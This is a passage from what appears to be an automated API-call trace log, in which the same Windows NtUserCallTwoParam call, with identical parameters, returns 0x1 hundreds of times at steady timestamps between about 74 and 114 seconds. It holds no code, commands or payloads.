NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0074.194] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0074.334] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0074.475] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0074.615] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0074.756] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0074.896] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0075.036] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0075.177] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0075.317] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0075.458] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0075.598] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0075.738] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0075.879] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0076.023] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0076.160] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0076.300] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0076.440] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0076.581] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0076.721] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0076.862] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0077.002] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0077.143] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0077.283] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0077.423] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0077.564] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0077.704] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0077.845] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0077.985] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0078.125] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0078.267] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0078.407] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0078.548] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0078.687] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0078.827] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0078.973] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0079.109] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0079.248] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0079.389] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0079.529] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0079.670] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0079.810] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0079.950] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0080.091] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0080.231] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0080.372] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0080.512] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0080.653] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0080.793] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0080.933] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0081.074] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0081.214] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0081.355] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0081.495] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0081.635] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0081.776] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0081.916] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0082.057] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0082.197] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0082.337] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0082.478] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0082.618] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0082.759] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0082.899] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0083.039] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0083.180] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0083.320] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0083.461] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0083.601] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0083.741] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0083.882] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0084.036] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0084.163] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0084.303] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0084.443] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0084.584] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0084.724] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0084.864] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0085.005] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0085.145] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0085.286] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0085.428] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0085.566] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0085.707] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0085.847] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0085.988] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0086.128] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0086.269] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0086.409] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0086.549] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0086.690] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0086.830] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0086.970] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0087.111] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0087.251] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0087.392] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0087.532] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0087.672] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0087.813] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0087.953] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0088.094] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0088.234] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0088.375] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0088.515] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0088.655] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0088.796] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0088.936] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0089.082] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0089.217] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0089.357] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0089.498] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0089.638] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0089.778] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0089.919] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0090.059] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0090.200] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0090.340] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0090.481] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0090.621] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0090.761] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0090.902] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0091.042] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0091.184] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0091.323] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0091.463] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0091.604] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0091.744] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0091.885] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0092.028] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0092.165] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0092.306] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0092.446] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0092.587] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0092.727] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0092.867] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0093.008] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0093.148] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0093.288] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0093.429] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0093.569] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0093.710] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0093.850] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0093.991] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0094.131] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0094.271] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0094.412] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0094.552] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0094.693] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0094.835] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0094.973] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0095.114] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0095.254] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0095.394] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0095.535] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0095.675] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0095.816] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0095.956] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0096.096] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0096.237] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0096.377] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0096.518] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0096.658] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0096.798] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0096.939] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0097.079] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0097.220] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0097.360] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0097.501] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0097.641] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0097.781] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0097.922] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0098.062] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0098.208] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0098.343] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0098.483] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0098.624] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0098.764] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0098.904] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0099.045] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0099.185] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0099.326] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0099.466] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0099.607] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0099.747] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0099.887] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0100.031] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0100.168] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0100.308] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0100.449] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0100.589] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0100.730] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0100.870] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0101.010] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0101.151] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0101.291] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0101.432] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0101.572] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0101.712] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0101.853] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0101.993] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0102.134] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0102.274] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0102.414] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0102.555] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0102.695] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0102.836] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0102.976] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0103.117] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0103.266] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0103.399] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0103.538] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0103.678] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0103.819] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0103.959] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0104.099] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0104.240] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0104.380] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0104.520] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0104.661] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0104.801] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0104.942] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0105.082] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0105.223] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0105.363] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0105.503] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0105.644] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0105.784] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0105.926] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0106.067] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0106.205] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0106.346] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0106.486] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0106.626] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0106.767] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0106.907] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0107.048] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0107.188] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0107.329] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0107.469] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0107.609] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0107.750] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0107.893] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0108.035] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0108.171] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0108.311] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0108.452] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0108.592] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0108.733] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0108.873] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0109.013] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0109.154] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0109.294] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0109.434] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0109.575] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0109.715] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0109.856] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0109.996] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0110.136] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0110.278] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0110.417] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0110.558] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0110.698] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0110.839] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0110.979] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0111.119] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0111.260] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0111.400] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0111.541] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0111.681] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0111.821] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0111.962] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0112.102] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0112.242] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0112.393] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0112.523] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0112.664] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0112.804] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0112.945] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0113.085] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0113.225] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0113.366] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0113.506] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0113.647] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0113.787] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0113.927] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0114.068] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0114.211] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0114.354] NtUserCallTwoParam (Param1=0x462eb0, Param2=0x1, Routine=0x69) returned 0x1 [0114.489] NtUserCallTwoParam (Param1=0x462eb0, 